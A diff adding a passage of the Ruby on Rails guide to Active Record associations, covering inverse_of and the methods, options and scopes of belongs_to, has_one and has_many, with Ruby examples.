+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+       has_one :account,
+        class_name: "MyApplication::Billing::Account"
+    end
+  end
+
+  module Billing
+    class Account < ApplicationRecord
+       belongs_to :supplier,
+        class_name: "MyApplication::Business::Supplier"
+    end
+  end
+end
+```
+
+### Bi-directional Associations
+
+It's normal for associations to work in two directions, requiring declaration on two different models:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+```
+
+Active Record will attempt to automatically identify that these two models share a bi-directional association based on the association name. In this way, Active Record will only load one copy of the `Author` object, making your application more efficient and preventing inconsistent data:
+
+```ruby
+a = Author.first
+b = a.books.first
+a.first_name == b.author.first_name # => true
+a.first_name = 'David'
+a.first_name == b.author.first_name # => true
+```
+
+Active Record supports automatic identification for most associations with standard names. However, Active Record will not automatically identify bi-directional associations that contain any of the following options:
+
+* `:conditions`
+* `:through`
+* `:polymorphic`
+* `:class_name`
+* `:foreign_key`
+
+For example, consider the following model declarations:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books
+end
+
+class Book < ApplicationRecord
+  belongs_to :writer, class_name: 'Author', foreign_key: 'author_id'
+end
+```
+
+Active Record will no longer automatically recognize the bi-directional association:
+
+```ruby
+a = Author.first
+b = a.books.first
+a.first_name == b.writer.first_name # => true
+a.first_name = 'David'
+a.first_name == b.writer.first_name # => false
+```
+
+Active Record provides the `:inverse_of` option so you can explicitly declare bi-directional associations:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, inverse_of: 'writer'
+end
+
+class Book < ApplicationRecord
+  belongs_to :writer, class_name: 'Author', foreign_key: 'author_id'
+end
+```
+
+By including the `:inverse_of` option in the `has_many` association declaration, Active Record will now recognize the bi-directional association:
+
+```ruby
+a = Author.first
+b = a.books.first
+a.first_name == b.writer.first_name # => true
+a.first_name = 'David'
+a.first_name == b.writer.first_name # => true
+```
+
+There are a few limitations to `:inverse_of` support:
+
+* They do not work with `:through` associations.
+* They do not work with `:polymorphic` associations.
+* They do not work with `:as` associations.
+
+Detailed Association Reference
+------------------------------
+
+The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
+
+### `belongs_to` Association Reference
+
+The `belongs_to` association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use `has_one` instead.
+
+#### Methods Added by `belongs_to`
+
+When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association:
+
+* `association`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+* `create_association!(attributes = {})`
+
+In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author
+end
+```
+
+Each instance of the `Book` model will have these methods:
+
+```ruby
+author
+author=
+build_author
+create_author
+create_author!
+```
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### `association`
+
+The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+
+```ruby
+@author = @book.author
+```
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload` on the parent object.
+
+```ruby
+@author = @book.reload.author
+```
+
+##### `association=(associate)`
+
+The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associated object and setting this object's foreign key to the same value.
+
+```ruby
+@book.author = @author
+```
+
+##### `build_association(attributes = {})`
+
+The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+
+```ruby
+@author = @book.build_author(author_number: 123,
+                                  author_name: "John Doe")
+```
+
+##### `create_association(attributes = {})`
+
+The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+@author = @book.create_author(author_number: 123,
+                                   author_name: "John Doe")
+```
+
+##### `create_association!(attributes = {})`
+
+Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
+
+#### Options for `belongs_to`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this association uses two such options:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author, dependent: :destroy,
+    counter_cache: true
+end
+```
+
+The `belongs_to` association supports these options:
+
+* `:autosave`
+* `:class_name`
+* `:counter_cache`
+* `:dependent`
+* `:foreign_key`
+* `:primary_key`
+* `:inverse_of`
+* `:polymorphic`
+* `:touch`
+* `:validate`
+* `:optional`
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a book belongs to an author, but the actual name of the model containing authors is `Patron`, you'd set things up this way:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author, class_name: "Patron"
+end
+```
+
+##### `:counter_cache`
+
+The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author
+end
+class Author < ApplicationRecord
+  has_many :books
+end
+```
+
+With these declarations, asking for the value of `@author.books.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author, counter_cache: true
+end
+class Author < ApplicationRecord
+  has_many :books
+end
+```
+
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method.
+
+Although the `:counter_cache` option is specified on the model that includes
+the `belongs_to` declaration, the actual column must be added to the
+_associated_ (`has_many`) model. In the case above, you would need to add a
+column named `books_count` to the `Author` model.
+
+You can override the default column name by specifying a custom column name in
+the `counter_cache` declaration instead of `true`. For example, to use
+`count_of_books` instead of `books_count`:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author, counter_cache: :count_of_books
+end
+class Author < ApplicationRecord
+  has_many :books
+end
+```
+
+NOTE: You only need to specify the `:counter_cache` option on the `belongs_to`
+side of the association.
+
+Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
+
+##### `:dependent`
+Controls what happens to associated objects when their owner is destroyed:
+
+* `:destroy` causes the associated objects to also be destroyed.
+* `:delete_all` causes the associated objects to be deleted directly from the database (callbacks are not executed).
+* `:nullify` causes the foreign keys to be set to `NULL` (callbacks are not executed).
+* `:restrict_with_exception` causes an exception to be raised if there are associated records.
+* `:restrict_with_error` causes an error to be added to the owner if there are associated objects.
+
+WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author, class_name: "Patron",
+                        foreign_key: "patron_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:primary_key`
+
+By convention, Rails assumes that the `id` column is used to hold the primary key
+of its tables. The `:primary_key` option allows you to specify a different column.
+
+For example, given we have a `users` table with `guid` as the primary key. If we want a separate `todos` table to hold the foreign key `user_id` in the `guid` column, then we can use `primary_key` to achieve this like so:
+
+```ruby
+class User < ApplicationRecord
+  self.primary_key = 'guid' # primary key is guid and not id
+end
+
+class Todo < ApplicationRecord
+  belongs_to :user, primary_key: 'guid'
+end
+```
+
+When we execute `@user.todos.create` then the `@todo` record will have its
+`user_id` value as the `guid` value of `@user`.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options.
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, inverse_of: :author
+end
+
+class Book < ApplicationRecord
+  belongs_to :author, inverse_of: :books
+end
+```
+
+##### `:polymorphic`
+
+Passing `true` to the `:polymorphic` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:touch`
+
+If you set the `:touch` option to `true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author, touch: true
+end
+
+class Author < ApplicationRecord
+  has_many :books
+end
+```
+
+In this case, saving or destroying a book will update the timestamp on the associated author. You can also specify a particular timestamp attribute to update:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author, touch: :books_updated_at
+end
+```
+
+##### `:validate`
+
+If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+
+##### `:optional`
+
+If you set the `:optional` option to `true`, then the presence of the associated
+object won't be validated. By default, this option is set to `false`.
+
+#### Scopes for `belongs_to`
+
+There may be times when you wish to customize the query used by `belongs_to`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Book < ApplicationRecord
+  belongs_to :author, -> { where active: true },
+                        dependent: :destroy
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `includes`
+* `readonly`
+* `select`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class book < ApplicationRecord
+  belongs_to :author, -> { where active: true }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class LineItem < ApplicationRecord
+  belongs_to :book
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class Author < ApplicationRecord
+  has_many :books
+end
+```
+
+If you frequently retrieve authors directly from line items (`@line_item.book.author`), then you can make your code somewhat more efficient by including authors in the association from line items to books:
+
+```ruby
+class LineItem < ApplicationRecord
+  belongs_to :book, -> { includes :author }
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class Author < ApplicationRecord
+  has_many :books
+end
+```
+
+NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Book belongs_to :author`, then the author is eager-loaded automatically when it's needed.
+
+##### `readonly`
+
+If you use `readonly`, then the associated object will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+TIP: If you use the `select` method on a `belongs_to` association, you should also set the `:foreign_key` option to guarantee the correct results.
+
+#### Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the `association.nil?` method:
+
+```ruby
+if @book.author.nil?
+  @msg = "No author found for this book"
+end
+```
+
+#### When are Objects Saved?
+
+Assigning an object to a `belongs_to` association does _not_ automatically save the object. It does not save the associated object either.
+
+### `has_one` Association Reference
+
+The `has_one` association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use `belongs_to` instead.
+
+#### Methods Added by `has_one`
+
+When you declare a `has_one` association, the declaring class automatically gains five methods related to the association:
+
+* `association`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+* `create_association!(attributes = {})`
+
+In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account
+end
+```
+
+Each instance of the `Supplier` model will have these methods:
+
+```ruby
+account
+account=
+build_account
+create_account
+create_account!
+```
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### `association`
+
+The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+
+```ruby
+@account = @supplier.account
+```
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload` on the parent object.
+
+```ruby
+@account = @supplier.reload.account
+```
+
+##### `association=(associate)`
+
+The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associated object's foreign key to the same value.
+
+```ruby
+@supplier.account = @account
+```
+
+##### `build_association(attributes = {})`
+
+The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+
+```ruby
+@account = @supplier.build_account(terms: "Net 30")
+```
+
+##### `create_association(attributes = {})`
+
+The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+@account = @supplier.create_account(terms: "Net 30")
+```
+
+##### `create_association!(attributes = {})`
+
+Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
+#### Options for `has_one`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account, class_name: "Billing", dependent: :nullify
+end
+```
+
+The `has_one` association supports these options:
+
+* `:as`
+* `:autosave`
+* `:class_name`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:primary_key`
+* `:source`
+* `:source_type`
+* `:through`
+* `:validate`
+
+##### `:as`
+
+Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail [earlier in this guide](#polymorphic-associations).
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way:
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account, class_name: "Billing"
+end
+```
+
+##### `:dependent`
+
+Controls what happens to the associated object when its owner is destroyed:
+
+* `:destroy` causes the associated object to also be destroyed
+* `:delete` causes the associated object to be deleted directly from the database (so callbacks will not execute)
+* `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed.
+* `:restrict_with_exception` causes an exception to be raised if there is an associated record
+* `:restrict_with_error` causes an error to be added to the owner if there is an associated object
+
+It's necessary not to set or leave `:nullify` option for those associations
+that have `NOT NULL` database constraints. If you don't set `dependent` to
+destroy such associations you won't be able to change the associated object
+because the initial associated object's foreign key will be set to the
+unallowed `NULL` value.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account, foreign_key: "supp_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account, inverse_of: :supplier
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier, inverse_of: :account
+end
+```
+
+##### `:primary_key`
+
+By convention, Rails assumes that the column used to hold the primary key of this model is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+
+##### `:source`
+
+The `:source` option specifies the source association name for a `has_one :through` association.
+
+##### `:source_type`
+
+The `:source_type` option specifies the source association type for a `has_one :through` association that proceeds through a polymorphic association.
+
+##### `:through`
+
+The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail [earlier in this guide](#the-has-one-through-association).
+
+##### `:validate`
+
+If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+
+#### Scopes for `has_one`
+
+There may be times when you wish to customize the query used by `has_one`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account, -> { where active: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `includes`
+* `readonly`
+* `select`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account, -> { where "confirmed = 1" }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ApplicationRecord
+  has_many :accounts
+end
+```
+
+If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
+
+```ruby
+class Supplier < ApplicationRecord
+  has_one :account, -> { includes :representative }
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ApplicationRecord
+  has_many :accounts
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated object will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+#### Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the `association.nil?` method:
+
+```ruby
+if @supplier.account.nil?
+  @msg = "No account found for this supplier"
+end
+```
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_one` association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
+
+If either of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved.
+
+If you want to assign an object to a `has_one` association without saving the object, use the `build_association` method.
+
+### `has_many` Association Reference
+
+The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
+
+#### Methods Added by `has_many`
+
+When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association:
+
+* `collection`
+* `collection<<(object, ...)`
+* `collection.delete(object, ...)`
+* `collection.destroy(object, ...)`
+* `collection=(objects)`
+* `collection_singular_ids`
+* `collection_singular_ids=(ids)`
+* `collection.clear`
+* `collection.empty?`
+* `collection.size`
+* `collection.find(...)`
+* `collection.where(...)`
+* `collection.exists?(...)`
+* `collection.build(attributes = {}, ...)`
+* `collection.create(attributes = {})`
+* `collection.create!(attributes = {})`
+
+In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books
+end
+```
+
+Each instance of the `Author` model will have these methods:
+
+```ruby
+books
+books<<(object, ...)
+books.delete(object, ...)
+books.destroy(object, ...)
+books=(objects)
+book_ids
+book_ids=(ids)
+books.clear
+books.empty?
+books.size
+books.find(...)
+books.where(...)
+books.exists?(...)
+books.build(attributes = {}, ...)
+books.create(attributes = {})
+books.create!(attributes = {})
+```
+
+##### `collection`
+
+The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+```ruby
+@books = @author.books
+```
+
+##### `collection<<(object, ...)`
+
+The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+
+```ruby
+@author.books << @book1
+```
+
+##### `collection.delete(object, ...)`
+
+The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`.
+
+```ruby
+@author.books.delete(@book1)
+```
+
+WARNING: Additionally, objects will be destroyed if they're associated with `dependent: :destroy`, and deleted if they're associated with `dependent: :delete_all`.
+
+##### `collection.destroy(object, ...)`
+
+The `collection.destroy` method removes one or more objects from the collection by running `destroy` on each object.
+
+```ruby
+@author.books.destroy(@book1)
+```
+
+WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option.
+
+##### `collection=(objects)`
+
+The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database.
+
+##### `collection_singular_ids`
+
+The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+
+```ruby
+@book_ids = @author.book_ids
+```
+
+##### `collection_singular_ids=(ids)`
+
+The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database.
+
+##### `collection.clear`
+
+The `collection.clear` method removes all objects from the collection according to the strategy specified by the `dependent` option. If no option is given, it follows the default strategy. The default strategy for `has_many :through` associations is `delete_all`, and for `has_many` associations is to set the foreign keys to `NULL`.
+
+```ruby
+@author.books.clear
+```
+
+WARNING: Objects will be deleted if they're associated with `dependent: :destroy`,
+just like `dependent: :delete_all`.
+
+##### `collection.empty?`
+
+The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+
+```erb
+<% if @author.books.empty? %>
+  No Books Found
+<% end %>
+```
+
+##### `collection.size`
+
+The `collection.size` method returns the number of objects in the collection.
+
+```ruby
+@book_count = @author.books.size
+```
+
+##### `collection.find(...)`
+
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`.
+
+```ruby
+@available_book = @author.books.find(1)
+```
+
+##### `collection.where(...)`
+
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
+
+```ruby
+@available_books = @author.books.where(available: true) # No query yet
+@available_book = @available_books.first # Now the database will be queried
+```
+
+##### `collection.exists?(...)`
+
+The `collection.exists?` method checks whether an object meeting the supplied
+conditions exists in the collection. It uses the same syntax and options as
+[`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F).
+
+##### `collection.build(attributes = {}, ...)`
+
+The `collection.build` method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+
+```ruby
+@book = @author.books.build(published_at: Time.now,
+                                book_number: "A12345")
+
+@books = @author.books.build([
+  { published_at: Time.now, book_number: "A12346" },
+  { published_at: Time.now, book_number: "A12347" }
+])
+```
+
+##### `collection.create(attributes = {})`
+
+The `collection.create` method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+@book = @author.books.create(published_at: Time.now,
+                                 book_number: "A12345")
+
+@books = @author.books.create([
+  { published_at: Time.now, book_number: "A12346" },
+  { published_at: Time.now, book_number: "A12347" }
+])
+```
+
+##### `collection.create!(attributes = {})`
+
+Does the same as `collection.create` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
+#### Options for `has_many`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, dependent: :delete_all, validate: false
+end
+```
+
+The `has_many` association supports these options:
+
+* `:as`
+* `:autosave`
+* `:class_name`
+* `:counter_cache`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:primary_key`
+* `:source`
+* `:source_type`
+* `:through`
+* `:validate`
+
+##### `:as`
+
+Setting the `:as` option indicates that this is a polymorphic association, as discussed [earlier in this guide](#polymorphic-associations).
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an author has many books, but the actual name of the model containing books is `Transaction`, you'd set things up this way:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, class_name: "Transaction"
+end
+```
+
+##### `:counter_cache`
+
+This option can be used to configure a custom named `:counter_cache`. You only need this option when you customized the name of your `:counter_cache` on the [belongs_to association](#options-for-belongs-to).
+
+##### `:dependent`
+
+Controls what happens to the associated objects when their owner is destroyed:
+
+* `:destroy` causes all the associated objects to also be destroyed
+* `:delete_all` causes all the associated objects to be deleted directly from the database (so callbacks will not execute)
+* `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed.
+* `:restrict_with_exception` causes an exception to be raised if there are any associated records
+* `:restrict_with_error` causes an error to be added to the owner if there are any associated objects
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, foreign_key: "cust_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, inverse_of: :author
+end
+
+class Book < ApplicationRecord
+  belongs_to :author, inverse_of: :books
+end
+```
+
+##### `:primary_key`
+
+By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option.
+
+Let's say the `users` table has `id` as the primary_key but it also
+has a `guid` column. The requirement is that the `todos` table should
+hold the `guid` column value as the foreign key and not `id`
+value. This can be achieved like this:
+
+```ruby
+class User < ApplicationRecord
+  has_many :todos, primary_key: :guid
+end
+```
+
+Now if we execute `@todo = @user.todos.create` then the `@todo`
+record's `user_id` value will be the `guid` value of `@user`.
+
+
+##### `:source`
+
+The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
+
+##### `:source_type`
+
+The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a polymorphic association.
+
+##### `:through`
+
+The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed [earlier in this guide](#the-has-many-through-association).
+
+##### `:validate`
+
+If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+
+#### Scopes for `has_many`
+
+There may be times when you wish to customize the query used by `has_many`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, -> { where processed: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `extending`
+* `group`
+* `includes`
+* `limit`
+* `offset`
+* `order`
+* `readonly`
+* `select`
+* `distinct`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Author < ApplicationRecord
+  has_many :confirmed_books, -> { where "confirmed = 1" },
+    class_name: "Book"
+end
+```
+
+You can also set conditions via a hash:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :confirmed_books, -> { where confirmed: true },
+                              class_name: "Book"
+end
+```
+
+If you use a hash-style `where` option, then record creation via this association will be automatically scoped using the hash. In this case, using `@author.confirmed_books.create` or `@author.confirmed_books.build` will create books where the confirmed column has the value `true`.
+
+##### `extending`
+
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions).
+
+##### `group`
+
+The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+
+```ruby
+class Author < ApplicationRecord
+  has_many :line_items, -> { group 'books.id' },
+                        through: :books
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class LineItem < ApplicationRecord
+  belongs_to :book
+end
+```
+
+If you frequently retrieve line items directly from authors (`@author.books.line_items`), then you can make your code somewhat more efficient by including line items in the association from authors to books:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, -> { includes :line_items }
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+  has_many :line_items
+end
+
+class LineItem < ApplicationRecord
+  belongs_to :book
+end
+```
+
+##### `limit`
+
+The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+
+```ruby
+class Author < ApplicationRecord
+  has_many :recent_books,
+    -> { order('published_at desc').limit(100) },
+    class_name: "Book"
+end
+```
+
+##### `offset`
+
+The `offset` method lets you specify the starting offset for fetching objects via an association. For example, `-> { offset(11) }` will skip the first 11 records.
+
+##### `order`
+
+The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, -> { order "date_confirmed DESC" }
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+
+##### `distinct`
+
+Use the `distinct` method to keep the collection free of duplicates. This is
+mostly useful together with the `:through` option.
+
+```ruby
+class Person < ApplicationRecord
+  has_many :readings
+  has_many :articles, through: :readings
+end
+
+person = Person.create(name: 'John')
+article   = Article.create(name: 'a1')
+person.articles << article
+person.articles << article
+person.articles.inspect # => [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
+Reading.all.inspect     # => [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]
+```
+
+In the above case there are two readings and `person.articles` brings out both of
+them even though these records are pointing to the same article.
+
